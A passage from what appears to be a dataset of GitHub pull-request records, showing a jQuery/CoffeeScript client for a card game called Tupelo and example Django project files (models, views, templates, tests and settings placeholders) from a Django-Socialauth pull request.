class=\"table\"></span><span class=\"player_name\"></span></span></td></tr>\n<tr><td/><td id=\"table_0\"><div class=\"player_data\"><div class=\"table\"></div><div class=\"player_name\"></div></div></td><td/></tr>\n</tbody>\n</table>\n</div>\n<div id=\"events\" class=\"listbox\">\n<h3 class=\"box_heading\">log</h3>\n<textarea id=\"event_log\" rows=\"10\" cols=\"30\" readonly=\"readonly\">\n</textarea>\n</div>\n<div id=\"hand\"></div>\n</div>\n</div>\n</body>\n</html>\n", "www/tupelo-main.js": "// Generated by CoffeeScript 2.5.1\n(function() {\n  // tupelo-main.coffee\n  // vim: sts=2 sw=2 et:\n  var $,\n    hasProp = {}.hasOwnProperty;\n\n  $ = jQuery;\n\n  $(document).ready(function() {\n    var ajaxErr, cardClicked, cardPlayed, clearTable, dbg, escapeHtml, eventsOk, gameCreateOk, gameInfoOk, getGameState, getTeamPlayers, hello, leaveOk, leftGame, listGamesOk, listPlayersOk, messageReceived, processEvent, quitOk, registerOk, request, setState, startOk, stateChanged, states, trickPlayed, tupelo, turnEvent, updateGameLinks, updateGameState, updateHand, updateLists;\n    // status object\n    tupelo = {\n      game_state: {},\n      events: [],\n      config: {\n        serverBaseUrl: \"/api\"\n      }\n    };\n    states = {\n      initial: {\n        show: [\"#register_form\"],\n        hide: [\"#quit_form\", \"#games\", \"#players\", \"#my_game\", \"#game\"],\n        change: function() {\n          var reg;\n          reg = $(\"#register_name\");\n          reg.addClass(\"initial\");\n          reg.val(\"Your name\");\n        }\n      },\n      registered: {\n        show: [\"#quit_form\", \"#games\", \"#players\", \"#game_create_form\"],\n        hide: [\"#register_form\", \"#my_game\", \"#game\"],\n        change: function() {\n          if (tupelo.list_timer == null) {\n            return tupelo.list_timer = setInterval(updateLists, 5000);\n          }\n        }\n      },\n      gameCreated: {\n        show: [\"#my_game\"],\n        hide: [\"#game_create_form\"]\n      },\n      inGame: {\n        show: [\"#game\"],\n        hide: [\"#games\", \"#players\", \"#my_game\"]\n      }\n    };\n    // change the current state\n    setState = function(state, effectDuration) {\n      var elem, j, k, len, len1, ref, ref1, st;\n      st = states[state];\n      ref = st.hide;\n      for (j = 0, len = ref.length; j < len; j++) {\n        elem = ref[j];\n        $(elem).hide(effectDuration);\n      }\n      ref1 = st.show;\n      for (k = 0, len1 = ref1.length; k < len1; k++) {\n        elem = ref1[k];\n        $(elem).show(effectDuration);\n      }\n      if (st.change != null) {\n        return st.change();\n      }\n    };\n    escapeHtml = function(str) {\n      return str.replace(\"<\", \"&lt;\").replace(\">\", \"&gt;\");\n    };\n    dbg = function() {\n      if (T.debug) {\n        return $(\"#debug\").html(JSON.stringify(tupelo));\n      }\n    };\n    // generic ajax error callback\n    ajaxErr = function(xhr, astatus, error) {\n      var handled, jsonErr;\n      handled = false;\n      // 403 is for game and rule errors\n      if (xhr.status === 403) {\n        // parse from json\n        jsonErr = eval(\"(\" + xhr.responseText + \")\");\n        if (jsonErr.message != null) {\n          window.alert(jsonErr.message);\n          handled = true;\n        }\n      } else {\n        T.log(\"status: \" + astatus);\n        T.log(\"error: \" + error);\n      }\n      return handled;\n    };\n    request = function(opts) {\n      opts.url = tupelo.config.serverBaseUrl + opts.url;\n      opts.error = opts.error || ajaxErr;\n      return $.ajax(opts);\n    };\n    hello = function() {\n      return request({\n        url: \"/hello\",\n        success: function(result) {\n          T.log(\"Server version: \" + result.version);\n          // are we already logged in?\n          if (result.player != null) {\n            tupelo.player = new T.Player(result.player.player_name);\n            registerOk(result.player);\n            // are we in a game?\n            if (result.player.game_id != null) {\n              return gameCreateOk(result.player.game_id);\n            }\n          }\n        }\n      });\n    };\n    updateGameLinks = function(disabledIds) {\n      var gameJoinClicked, id, j, len;\n      gameJoinClicked = function(event) {\n        var game_id;\n        // \"game_join_ID\"\n        game_id = this.id.slice(10);\n        T.log(\"joining game \" + game_id);\n        return request({\n          url: \"/game/enter\",\n          data: {\n            akey: tupelo.player.akey,\n            game_id: game_id\n          },\n          success: gameCreateOk\n        });\n      };\n      if (tupelo.game_id != null) {\n        $(\"button.game_join\").attr(\"disabled\", true);\n        return $(\"tr#game_id_\" + tupelo.game_id).addClass(\"highlight\");\n      } else {\n        for (j = 0, len = disabledIds.length; j < len; j++) {\n          id = disabledIds[j];\n          $(\"button#\" + id).attr(\"disabled\", true);\n        }\n        return $(\"button.game_join\").click(gameJoinClicked);\n      }\n    };\n    listGamesOk = function(result) {\n      var disabledIds, game_id, html, players, res;\n      //T.log \"listGamesOk\"\n      //T.log result\n      html = \"\";\n      disabledIds = [];\n      for (game_id in result) {\n        if (!hasProp.call(result, game_id)) continue;\n        html += `<tr id=\\\"game_id_${game_id}\\\">`;\n        //players = []\n        //for res in result[game_id]\n        //  plr = new T.Player().fromObj res\n        //  players.push plr.player_name\n        players = (function() {\n          var j, len, ref, results;\n          ref = result[game_id];\n          results = [];\n          for (j = 0, len = ref.length; j < len; j++) {\n            res = ref[j];\n            results.push(new T.Player().fromObj(res).player_name);\n          }\n          return results;\n        })();\n        html += \"<td>\" + escapeHtml(players.join(\", \")) + \"</td>\";\n        html += \"<td class=\\\"game_list_actions\\\"><button class=\\\"game_join btn\\\" id=\\\"game_join_\" + game_id + \"\\\"><span><span>join</span></span></button></td>\";\n        html += \"</tr>\";\n        if (players.length === 4) {\n          disabledIds.push(`game_join_${game_id}`);\n        }\n      }\n      $(\"#game_list table tbody\").html(html);\n      updateGameLinks(disabledIds);\n      return dbg();\n    };\n    listPlayersOk = function(result) {\n      var cls, html, player, plr;\n      T.log(result);\n      html = \"\";\n      for (player in result) {\n        if (!hasProp.call(result, player)) continue;\n        plr = new T.Player().fromObj(result[player]);\n        if (plr.id !== tupelo.player.id) {\n          cls = plr.game_id != null ? \"class=\\\"in_game\\\" \" : \"\";\n          html += `<tr ${cls}id=\\\"player_id_` + plr.id + \"\\\">\";\n          html += \"<td>\" + escapeHtml(plr.player_name) + \"</td></tr>\";\n        }\n      }\n      $(\"#player_list table tbody\").html(html);\n      return dbg();\n    };\n    registerOk = function(result) {\n      $(\"#name\").val(\"\");\n      tupelo.player.id = result.id;\n      tupelo.player.akey = result.akey;\n      Cookies.set(\"akey\", result.akey);\n      T.log(tupelo);\n      dbg();\n      // clear game list if there was one previously\n      $(\"#game_list table tbody\").html(\"\");\n      $(\".my_name\").html(escapeHtml(tupelo.player.player_name));\n      updateLists();\n      setState(\"registered\", \"fast\");\n      return T.log(\"timer created\");\n    };\n    leftGame = function() {\n      if (tupelo.event_fetch_timer != null) {\n        tupelo.event_fetch_timer.disable();\n        tupelo.event_fetch_timer = null;\n      }\n      if (tupelo.event_timer != null) {\n        clearTimeout(tupelo.event_timer);\n        tupelo.event_timer = null;\n      }\n      tupelo.game_id = null;\n      tupelo.game_state = {};\n      tupelo.hand = null;\n      tupelo.my_turn = null;\n    };\n    leaveOk = function(result) {\n      leftGame();\n      dbg();\n      updateLists();\n      return setState(\"registered\", \"fast\");\n    };\n    quitOk = function(result) {\n      leftGame();\n      if (tupelo.list_timer != null) {\n        clearInterval(tupelo.list_timer);\n        tupelo.list_timer = null;\n      }\n      Cookies.remove(\"akey\");\n      tupelo.player = null;\n      T.log(tupelo);\n      dbg();\n      return setState(\"initial\", \"fast\");\n    };\n    gameCreateOk = function(result) {\n      tupelo.game_id = result;\n      T.log(tupelo);\n      dbg();\n      $(\"p#joined_game\").html(`joined game ${tupelo.game_id}`);\n      setState(\"gameCreated\", \"fast\");\n      tupelo.event_fetch_timer = new T.Timer(tupelo.config.serverBaseUrl + \"/get_events\", 2000, eventsOk, {\n        data: {\n          akey: tupelo.player.akey\n        }\n      });\n      return updateLists();\n    };\n    cardPlayed = function(event) {\n      var card, table;\n      T.log(\"cardPlayed\");\n      //T.log event\n      table = $(\"#player_\" + event.player.id + \" .table\");\n      if (table.length === 0) {\n        T.log(\"player not found!\");\n        return true;\n      }\n      //table.hide()\n      card = new T.Card(event.card.suit, event.card.value);\n      table.html(\"<span style=\\\"display: none;\\\" class=\\\"card\\\">\" + card.toShortHtml() + \"</span>\");\n      table.children().show(500);\n      setTimeout(processEvent, 500);\n      return false;\n    };\n    messageReceived = function(event) {\n      var eventLog;\n      T.log(\"messageReceived\");\n      eventLog = $(\"#event_log\");\n      eventLog.append(escapeHtml(event.sender) + \": \" + escapeHtml(event.message) + \"\\n\");\n      eventLog.scrollTop(eventLog[0].scrollHeight - eventLog.height());\n      return true;\n    };\n    // clear the table and resume event processing\n    // called either from timeout or click event\n    clearTable = function() {\n      clearTimeout(tupelo.clear_timeout);\n      T.log(\"clearing table\");\n      $(\"#game_area .table\").html(\"\");\n      $(\"#game_area table tbody\").unbind(\"click\");\n      // re-enable event processing\n      return tupelo.event_timer = setTimeout(processEvent, 0);\n    };\n    //T.log(\"trickPlayed: set event_timer to \" + tupelo.event_timer)\n    trickPlayed = function(event) {\n      T.log(\"trickPlayed\");\n      // TODO: highlight the highest card\n      // allow the user to clear the table and proceed by clicking the table\n      $(\"#game_area table tbody\").click(clearTable);\n      // setting timeout to show the played trick for a longer time\n      tupelo.clear_timeout = setTimeout(clearTable, 5000);\n      return false; // this event is not handled yet\n    };\n    getTeamPlayers = function(team) {\n      // TODO: should we store these in JS instead of the DOM?\n      return [$(\"#table_\" + team + \" .player_name\").html(), $(\"#table_\" + (team + 2) + \" .player_name\").html()];\n    };\n    updateGameState = function(state) {\n      var key, statusStr;\n      statusStr = \"\";\n      for (key in state) {\n        if (!hasProp.call(state, key)) continue;\n        tupelo.game_state[key] = state[key];\n      }\n      // show game status (voting, nolo, rami)\n      if (state.status === T.VOTING) {\n        statusStr = \"VOTING\";\n      } else if (state.status === T.ONGOING) {\n        if (state.mode === T.NOLO) {\n          statusStr = \"NOLO\";\n        } else {\n          if (state.mode === T.RAMI) {\n            statusStr = \"RAMI\";\n          }\n        }\n      }\n      statusStr = `<span>${statusStr}</span>`;\n      statusStr += \"<span>tricks: \" + state.tricks[0] + \" - \" + state.tricks[1] + \"</span>\";\n      if (state.score != null) {\n        if (state.score[0] > 0) {\n          statusStr += \"<span>score: \" + escapeHtml(getTeamPlayers(0).join(\" &amp; \")) + \": \" + state.score[0] + \"</span>\";\n        } else if (state.score[1] > 0) {\n          statusStr += \"<span>score: \" + escapeHtml(getTeamPlayers(1).join(\" &amp; \")) + \": \" + state.score[1] + \"</span>\";\n        } else {\n          statusStr += \"<span>score: 0</span>\";\n        }\n      }\n      $(\"#game_status\").html(statusStr);\n      // highlight the player in turn\n      if (state.turn_id != null) {\n        $(\".player_data .player_name\").removeClass(\"highlight_player\");\n        $(\"#player_\" + state.turn_id + \" .player_name\").addClass(\"highlight_player\");\n      }\n      return dbg();\n    };\n    cardClicked = function(event) {\n      var card, cardId;\n      // id is \"card_X\"\n      cardId = $(this).find(\".card\").attr(\"id\").slice(5);\n      card = tupelo.hand[cardId];\n      T.log(card);\n      if (card != null) {\n        request({\n          url: \"/game/play_card\",\n          success: function(result) {\n            tupelo.my_turn = false;\n            $(\"#hand .card\").removeClass(\"card_selectable\");\n            // TODO: after playing a hand, this shows the next hand too quickly\n            return getGameState();\n          },\n          error: function(xhr, astatus, error) {\n            if (ajaxErr(xhr, astatus, error) !== true) {\n              return window.alert(xhr.status + \" \" + error);\n            }\n          },\n          data: {\n            akey: tupelo.player.akey,\n            game_id: tupelo.game_id,\n            card: JSON.stringify(card)\n          }\n        });\n      }\n      return event.preventDefault();\n    };\n    updateHand = function(newHand) {\n      var card, hand, html, i, item, j, len;\n      html = \"\";\n      hand = [];\n      for (i = j = 0, len = newHand.length; j < len; i = ++j) {\n        item = newHand[i];\n        card = new T.Card(item.suit, item.value);\n        hand.push(card);\n        if (tupelo.my_turn) {\n          html += \"<a class=\\\"selectable\\\" href=\\\"#\\\">\";\n        }\n        html += `<span class=\\\"card\\\" id=\\\"card_${i}\\\">` + card.toShortHtml() + \"</span>\";\n        if (tupelo.my_turn) {\n          html += \"</a>\";\n        }\n      }\n      tupelo.hand = hand;\n      $(\"#hand\").html(html);\n      if (tupelo.my_turn) {\n        $(\"#hand .card\").addClass(\"card_selectable\");\n        return $(\"#hand a\").click(cardClicked);\n      }\n    };\n    getGameState = function() {\n      return request({\n        url: \"/game/get_state\",\n        success: function(result) {\n          T.log(result);\n          if (result.game_state != null) {\n            updateGameState(result.game_state);\n          }\n          if (result.hand != null) {\n            return updateHand(result.hand);\n          }\n        },\n        data: {\n          akey: tupelo.player.akey,\n          game_id: tupelo.game_id\n        }\n      });\n    };\n    turnEvent = function(event) {\n      T.log(\"turnEvent\");\n      tupelo.my_turn = true; // enables click callbacks for cards in hand\n      getGameState();\n      return true;\n    };\n    stateChanged = function(event) {\n      T.log(\"stateChanged\");\n      if (event.game_state.status === T.VOTING) { // game started!\n        startOk();\n      } else if (event.game_state.status === T.ONGOING) { // VOTING -> ONGOING\n        // allow the user to clear the table and proceed by clicking the table\n        $(\"#game_area table tbody\").click(clearTable);\n        // setting timeout to show the voted cards for a longer time\n        tupelo.clear_timeout = setTimeout(clearTable, 5000);\n        return false;\n      }\n      return true;\n    };\n    processEvent = function() {\n      var event, handled;\n      handled = true;\n      if (tupelo.events.length === 0) {\n        T.log(\"no events to process\");\n        tupelo.event_timer = null;\n        return;\n      }\n      event = tupelo.events.shift();\n      if (event.game_state != null) {\n        updateGameState(event.game_state);\n      }\n      switch (event.type) {\n        case 1:\n          handled = cardPlayed(event);\n          break;\n        case 2:\n          handled = messageReceived(event);\n          break;\n        case 3:\n          handled = trickPlayed(event);\n          break;\n        case 4:\n          handled = turnEvent(event);\n          break;\n        case 5:\n          handled = stateChanged(event);\n          break;\n        default:\n          T.log(\"unknown event \" + event.type);\n      }\n      if (handled === true) {\n        return tupelo.event_timer = setTimeout(processEvent, 0);\n      }\n    };\n    eventsOk = function(result) {\n      var event, j, len;\n      for (j = 0, len = result.length; j < len; j++) {\n        event = result[j];\n        /*\n        if (result.length > 0)\n          eventLog = $(\"#event_log\")\n          eventLog.append(JSON.stringify(result) + \"\\n\")\n          eventLog.scrollTop(eventLog[0].scrollHeight - eventLog.height())\n        */\n        // push events to queue\n        tupelo.events.push(event);\n      }\n      if (tupelo.events.length > 0 && (tupelo.event_timer == null)) {\n        tupelo.event_timer = setTimeout(processEvent, 0);\n      }\n      return dbg();\n    };\n    gameInfoOk = function(result) {\n      var i, index, j, k, len, len1, myIndex, pl;\n      T.log(\"gameInfoOk\");\n      T.log(result);\n      myIndex = 0;\n// find my index\n      for (i = j = 0, len = result.length; j < len; i = ++j) {\n        pl = result[i];\n        if (pl.id === tupelo.player.id) {\n          myIndex = i;\n          break;\n        }\n      }\n      for (i = k = 0, len1 = result.length; k < len1; i = ++k) {\n        pl = result[i];\n        // place where the player goes when /me is always at the bottom\n        index = (4 + i - myIndex) % 4;\n        // set player id and name\n        $(\"#table_\" + index + \" .player_data\").attr(\"id\", \"player_\" + pl.id);\n        $(\"#player_\" + pl.id + \" .player_name\").html(escapeHtml(pl.player_name));\n      }\n    };\n    startOk = function(result) {\n      if (tupelo.list_timer != null) {\n        clearInterval(tupelo.list_timer);\n        tupelo.list_timer = null;\n      }\n      $(\"#event_log\").html(\"\");\n      setState(\"inGame\");\n      request({\n        url: \"/game/get_info\",\n        success: gameInfoOk,\n        data: {\n          game_id: tupelo.game_id\n        }\n      });\n      getGameState();\n      return dbg();\n    };\n    updateLists = function() {\n      request({\n        url: \"/game/list\",\n        success: listGamesOk\n      });\n      return request({\n        url: \"/player/list\",\n        success: listPlayersOk,\n        data: {\n          akey: tupelo.player.akey\n        }\n      });\n    };\n    // bind DOM events\n    $(\"#echo_ajax\").click(function() {\n      var text;\n      text = $(\"#echo\").val();\n      return request({\n        url: \"/echo\",\n        data: {\n          test: text\n        },\n        success: function(result) {\n          $(\"#echo_result\").html(escapeHtml(result));\n          return $(\"#echo\").val(\"\");\n        }\n      });\n    });\n    $(\"#register_btn\").click(function() {\n      var input, name;\n      input = $(\"#register_name\");\n      name = input.val();\n      if (!name || input.hasClass(\"initial\")) {\n        alert(\"Please enter your name first\");\n        return;\n      }\n      tupelo.player = new T.Player(name);\n      T.log(tupelo);\n      return request({\n        url: \"/player/register\",\n        data: {\n          player: JSON.stringify(tupelo.player)\n        },\n        success: registerOk\n      });\n    });\n    // sign in by pressing enter\n    $(\"#register_name\").keyup(function(event) {\n      if ((event.keyCode || event.which) === 13) {\n        return $(\"#register_btn\").click();\n      }\n    });\n    $(\"#register_name\").focus(function(event) {\n      if ($(this).hasClass(\"initial\")) {\n        $(this).val(\"\");\n        return $(this).removeClass(\"initial\");\n      }\n    });\n    $(\"#quit_btn\").click(function() {\n      return request({\n        url: \"/player/quit\",\n        data: {\n          akey: tupelo.player.akey\n        },\n        success: quitOk,\n        error: function(xhr, astatus, error) {\n          if (ajaxErr(xhr, astatus, error) === true) {\n            return quitOk();\n          }\n        }\n      });\n    });\n    $(\".game_leave_btn\").click(function() {\n      // TODO: should we cancel timers already here?\n      return request({\n        url: \"/game/leave\",\n        data: {\n          akey: tupelo.player.akey,\n          game_id: tupelo.game_id\n        },\n        success: leaveOk,\n        error: function(xhr, astatus, error) {\n          if (ajaxErr(xhr, astatus, error) === true) {\n            return leaveOk();\n          }\n        }\n      });\n    });\n    $(\"#game_create_btn\").click(function() {\n      // TODO: should we cancel timers already here?\n      return request({\n        url: \"/game/create\",\n        data: {\n          akey: tupelo.player.akey\n        },\n        success: gameCreateOk\n      });\n    });\n    $(\"#game_start\").click(function() {\n      return request({\n        url: \"/game/start\",\n        data: {\n          akey: tupelo.player.akey,\n          game_id: tupelo.game_id\n        },\n        success: startOk\n      });\n    });\n    $(\"#game_start_with_bots\").click(function() {\n      return request({\n        url: \"/game/start_with_bots\",\n        data: {\n          akey: tupelo.player.akey,\n          game_id: tupelo.game_id\n        },\n        success: startOk\n      });\n    });\n    if (T.debug === true) {\n      $(\"#debug\").click(function() {\n        return $(this).toggle();\n      });\n    } else {\n      $(\"#debug\").hide();\n    }\n    // leave the game when the user leaves the page\n    $(window).unload(function() {\n      if (tupelo.game_id != null) {\n        return request({\n          url: \"/game/leave\",\n          async: false,\n          data: {\n            akey: tupelo.player.akey,\n            game_id: tupelo.game_id\n          }\n        });\n      }\n    });\n    // show a confirmation if the browser supports it\n    window.onbeforeunload = function(e) {\n      var msg;\n      if (tupelo.game_id == null) {\n        return undefined; // no dialog\n      }\n      e = e || window.event;\n      msg = \"By leaving the page you will also leave the game.\";\n      if (e) {\n        e.returnValue = msg;\n      }\n      return msg;\n    };\n    // and finally, contact the server\n    hello();\n    return setState(\"initial\");\n  });\n\n}).call(this);\n"}}
{"repo": "jaytoday/Django-Socialauth", "pr_number": 1, "title": "Update from original - master", "state": "closed", "merged_at": "2023-12-28T17:40:20Z", "additions": 4166, "deletions": 1092, "files_changed": ["example_project/__init__.py", "example_project/commentor/__init__.py", "example_project/commentor/models.py", "example_project/commentor/templates/commentor/index.html", "example_project/commentor/tests.py", "example_project/commentor/urls.py", "example_project/commentor/views.py", "example_project/example/__init__.py", "example_project/example/admin.py", "example_project/example/models.py", "example_project/example/templates/comments/example/form.html", "example_project/example/templates/comments/example/list.html", "example_project/example/templates/example/post_detail.html", "example_project/example/templates/example/post_list.html", "example_project/example/tests.py", "example_project/example/urls.py", "example_project/example/views.py", "example_project/example_comments/__init__.py", "example_project/example_comments/models.py", "example_project/example_comments/tests.py", "example_project/example_comments/views.py", "example_project/localsettings.example.py", "example_project/manage.py"], "files_before": {}, "files_after": {"example_project/__init__.py": "", "example_project/commentor/__init__.py": "", "example_project/commentor/models.py": "from django.db import models\n\nclass Comment(models.Model):\n    comment = models.TextField()\n", "example_project/commentor/templates/commentor/index.html": "{% extends 'base.html' %}\n\n{% block main_content %}\n\nEnter Comment\n\n{% if user.is_authenticated %}\n\n<p>You are currently logged in as <strong>{{ user.username }}</strong></p>\n\n<form action=\".\"  method=\"post\">\n    {{ form }}\n    <input type=\"submit\" name=\"comment_submit\" value=\"Comment\" />\n</form>\n<a href=\"{% url socialauth_social_logout %}\">Logout</a>\n{% else %}\n\n<a href=\"{% url socialauth_login_page %}\">Login</a>\n\n{% endif %}\n\n\n{% for comment in comments %}\n\n<p>\n    {{ comment.comment }}\n</p>\n\n{% endfor %}\n\n{% endblock %}", "example_project/commentor/tests.py": "\"\"\"\nThis file demonstrates two different styles of tests (one doctest and one\nunittest). These will both pass when you run \"manage.py test\".\n\nReplace these with more appropriate tests for your application.\n\"\"\"\n\nfrom django.test import TestCase\n\nclass SimpleTest(TestCase):\n    def test_basic_addition(self):\n        \"\"\"\n        Tests that 1 + 1 always equals 2.\n        \"\"\"\n        self.failUnlessEqual(1 + 1, 2)\n\n__test__ = {\"doctest\": \"\"\"\nAnother way to test that 1 + 1 is equal to 2.\n\n>>> 1 + 1 == 2\nTrue\n\"\"\"}\n\n", "example_project/commentor/urls.py": "", "example_project/commentor/views.py": "from django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect\nfrom commentor.models import Comment\nfrom django.template import RequestContext\nfrom django import forms\nfrom django.shortcuts import render_to_response\n\n@login_required\ndef leave_comment(request):\n    form = CommentForm()\n    if request.POST:\n        form = CommentForm(data = request.POST)\n        if form.is_valid():\n            form.save()\n            return HttpResponseRedirect('.')\n        \n    payload = {'form':form, 'comments':Comment.objects.all()}\n    return render_to_response('commentor/index.html', payload, RequestContext(request))\n    \nclass CommentForm(forms.ModelForm):\n    class Meta:\n        model = Comment", "example_project/example/__init__.py": "", "example_project/example/admin.py": "from models import Post\nfrom django.contrib import admin\n\nadmin.site.register(Post)\n\n", "example_project/example/models.py": "from django.db import models\nfrom django.contrib.auth.models import User\n# Create your models here.\n\nclass Post(models.Model):\n    author = models.ForeignKey(User)\n    date = models.DateTimeField()\n    title = models.CharField(max_length=100)\n    post = models.TextField()\n\n    def __unicode__(self):\n        return  self.title\n", "example_project/example/templates/comments/example/form.html": "{% load comments i18n %}\n\n<form action=\"{% comment_form_target %}\" method=\"post\">{% csrf_token %}\n  {% if next %}<input type=\"hidden\" name=\"next\" value=\"{{ next }}\" />{% endif %}\n  {% for field in form %}\n    {% if field.is_hidden %}\n      {{ field }}\n    {% else %}\n      {% if field.errors %}{{ field.errors }}{% endif %}\n      <p\n        {% if field.errors %} class=\"error\"{% endif %}\n        {% ifequal field.name \"honeypot\" %} style=\"display:none;\"{% endifequal %}>\n        {{ field.label_tag }} {{ field }}\n      </p>\n    {% endif %}\n  {% endfor %}\n    <input type=\"hidden\" name=\"next\" id=\"next\" value=\"{{request.path}}\">\n  <p class=\"submit\">\n    <input type=\"submit\" name=\"post\" class=\"submit-post\" value=\"{% trans \"Post\" %}\" />\n    <input type=\"submit\" name=\"preview\" class=\"submit-preview\" value=\"{% trans \"Preview\" %}\" />\n  </p>\n</form>\n", "example_project/example/templates/comments/example/list.html": "<dl id=\"comments\">\n  {% for comment in comment_list %}\n    <dd>\n        <p>{{ comment.comment }}</p>\n    </dd>\n    <dt id=\"c{{ comment.id }}\">\n        on {{ comment.submit_date|date }} at {{ comment.submit_date|time }} by {{ comment.name }}\n    </dt>    \n  {% endfor %}\n</dl>\n", "example_project/example/templates/example/post_detail.html": "{% load comments socialauth_tags %}\n\n<h2> {{ post }}</h2>\n<p>{{ post.post }}</p>\n  <br /> \n    posted by {{ post.author }} on {{ post.date|date }} at {{ post.date|time }}\n  <br />\n  <br />\n  Comments:\n  <br />\n    {% render_comment_list for post %}\n  <br />\n    {% if request.user.username %}\n        Comment as {% get_calculated_username request.user %} \n        (<a href=\"{% url socialauth_social_logout %}?next={{ request.path }}\">Not {% get_calculated_username request.user %}?</a>)\n        {% render_comment_form for post %}\n    {% else %}\n        <a href='{% url socialauth_login_page %}?next={{ request.path }}'>Login to comment</a>\n    {% endif %}\n", "example_project/example/templates/example/post_list.html": "{% load comments %}\n{{ latest }}\n{% if object_list %}\n    {% for post in object_list %}\n      <h2>{{ post }}</h2>\n      <p>{{ post.post }}</p>\n      {% get_comment_count for post as comment_count %}\n      <b>{{ post.author }}</b> wrote {{ post.post|wordcount }} words on {{ post.date|date }} at {{ post.date|time }}\n      <br />\n      <a href='{{ post.id }}'>\n          {{ comment_count }} comments\n      </a>\n    {% endfor %}\n{% else %}\n    <a href=\"/admin/example/post/add/\">Add a new blog post</a>\n{% endif %}\n", "example_project/example/tests.py": "\"\"\"\nThis file demonstrates two different styles of tests (one doctest and one\nunittest). These will both pass when you run \"manage.py test\".\n\nReplace these with more appropriate tests for your application.\n\"\"\"\n\nfrom django.test import TestCase\n\nclass SimpleTest(TestCase):\n    def test_basic_addition(self):\n        \"\"\"\n        Tests that 1 + 1 always equals 2.\n        \"\"\"\n        self.failUnlessEqual(1 + 1, 2)\n\n__test__ = {\"doctest\": \"\"\"\nAnother way to test that 1 + 1 is equal to 2.\n\n>>> 1 + 1 == 2\nTrue\n\"\"\"}\n\n", "example_project/example/urls.py": "from django.conf.urls.defaults import *\nfrom models import Post\n\nurlpatterns = patterns('',\n    url(r'^(?P<post_id>\\d+)$', 'example.views.post_detail'),\n    url(r'^$', 'django.views.generic.list_detail.object_list',\n        { 'queryset' : Post.objects.all() }\n    ),\n)\n", "example_project/example/views.py": "# Create your views here.\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.comments.models import Comment\nfrom models import Post\nfrom django.template import RequestContext\n\ndef comment_posted(request):\n    comment_id = request.GET['c']\n    post_id = Comment.objects.get(id=comment_id).content_object.id\n    return HttpResponseRedirect('/blog/'+str(post_id))\n\ndef post_detail(request, post_id):\n    post = get_object_or_404(Post, pk=post_id)\n    return render_to_response('example/post_detail.html', {'post': post}, context_instance=RequestContext(request))\n", "example_project/example_comments/__init__.py": "from django import forms\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.comments.forms import CommentDetailsForm\n\nclass CommentForm(CommentDetailsForm):\n    name          = forms.CharField(widget=forms.HiddenInput, required=False)\n    email         = forms.EmailField(widget=forms.HiddenInput, required=False)\n    url           = forms.URLField(widget=forms.HiddenInput, required=False)\n\n\ndef get_form():\n    return CommentForm\n", "example_project/example_comments/models.py": "from django.db import models\n\n# Create your models here.\n", "example_project/example_comments/tests.py": "\"\"\"\nThis file demonstrates two different styles of tests (one doctest and one\nunittest). These will both pass when you run \"manage.py test\".\n\nReplace these with more appropriate tests for your application.\n\"\"\"\n\nfrom django.test import TestCase\n\nclass SimpleTest(TestCase):\n    def test_basic_addition(self):\n        \"\"\"\n        Tests that 1 + 1 always equals 2.\n        \"\"\"\n        self.failUnlessEqual(1 + 1, 2)\n\n__test__ = {\"doctest\": \"\"\"\nAnother way to test that 1 + 1 is equal to 2.\n\n>>> 1 + 1 == 2\nTrue\n\"\"\"}\n\n", "example_project/example_comments/views.py": "# Create your views here.\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.comments.views.comments import post_comment as old_post_comment\n\n@login_required\ndef post_comment(request):\n        return old_post_comment(request)\n", "example_project/localsettings.example.py": "OPENID_REDIRECT_NEXT = '/accounts/openid/done/'\n\nOPENID_SREG = {\"requred\": \"nickname, email, fullname\",\n               \"optional\":\"postcode, country\",\n               \"policy_url\": \"\"}\n\n#example should be something more like the real thing, i think\nOPENID_AX = [{\"type_uri\": \"http://axschema.org/contact/email\",\n              \"count\": 1,\n              \"required\": True,\n              \"alias\": \"email\"},\n             {\"type_uri\": \"http://axschema.org/schema/fullname\",\n              \"count\":1 ,\n              \"required\": False,\n              \"alias\": \"fname\"}]\n\nOPENID_AX_PROVIDER_MAP = {'Google': {'email': 'http://axschema.org/contact/email',\n                                     'firstname': 'http://axschema.org/namePerson/first',\n                                     'lastname': 'http://axschema.org/namePerson/last'},\n                          'Default': {'email': 'http://axschema.org/contact/email',\n                                      'fullname': 'http://axschema.org/namePerson',\n                                      'nickname': 'http://axschema.org/namePerson/friendly'}\n                          }\n\nTWITTER_CONSUMER_KEY = ''\nTWITTER_CONSUMER_SECRET = ''\n\nFACEBOOK_APP_ID = ''\nFACEBOOK_API_KEY = ''\nFACEBOOK_SECRET_KEY = ''\n\nLINKEDIN_CONSUMER_KEY = ''\nLINKEDIN_CONSUMER_SECRET = ''\n\nGITHUB_CLIENT_ID = ''\nGITHUB_CLIENT_SECRET = ''\n\nFOURSQUARE_CONSUMER_KEY = ''\nFOURSQUARE_CONSUMER_SECRET = ''\nFOURSQUARE_REGISTERED_REDIRECT_URI = ''\n\n## if any of this information is desired for your app\nFACEBOOK_EXTENDED_PERMISSIONS = (\n    #'publish_stream',\n    #'create_event',\n    #'rsvp_event',\n    #'sms',\n    #'offline_access',\n    #'email',\n    #'read_stream',\n    #'user_about_me',\n    #'user_activites',\n    #'user_birthday',\n    #'user_education_history',\n    #'user_events',\n    #'user_groups',\n    #'user_hometown',\n    #'user_interests',\n    #'user_likes',\n    #'user_location',\n    #'user_notes',\n    #'user_online_presence',\n    #'user_photo_video_tags',\n    #'user_photos',\n    #'user_relationships',\n    #'user_religion_politics',\n    #'user_status',\n    #'user_videos',\n    #'user_website',\n    #'user_work_history',\n    #'read_friendlists',\n    #'read_requests',\n    #'friend_about_me',\n    #'friend_activites',\n    #'friend_birthday',\n    #'friend_education_history',\n    #'friend_events',\n    #'friend_groups',\n    #'friend_hometown',\n    #'friend_interests',\n    #'friend_likes',\n    #'friend_location',\n    #'friend_notes',\n    #'friend_online_presence',\n    #'friend_photo_video_tags',\n    #'friend_photos',\n    #'friend_relationships',\n    #'friend_religion_politics',\n    #'friend_status',\n    #'friend_videos',\n    #'friend_website',\n    #'friend_work_history',\n)\n\n\nAUTHENTICATION_BACKENDS = (\n    'django.contrib.auth.backends.ModelBackend',\n    'socialauth.auth_backends.OpenIdBackend',\n    'socialauth.auth_backends.TwitterBackend',\n    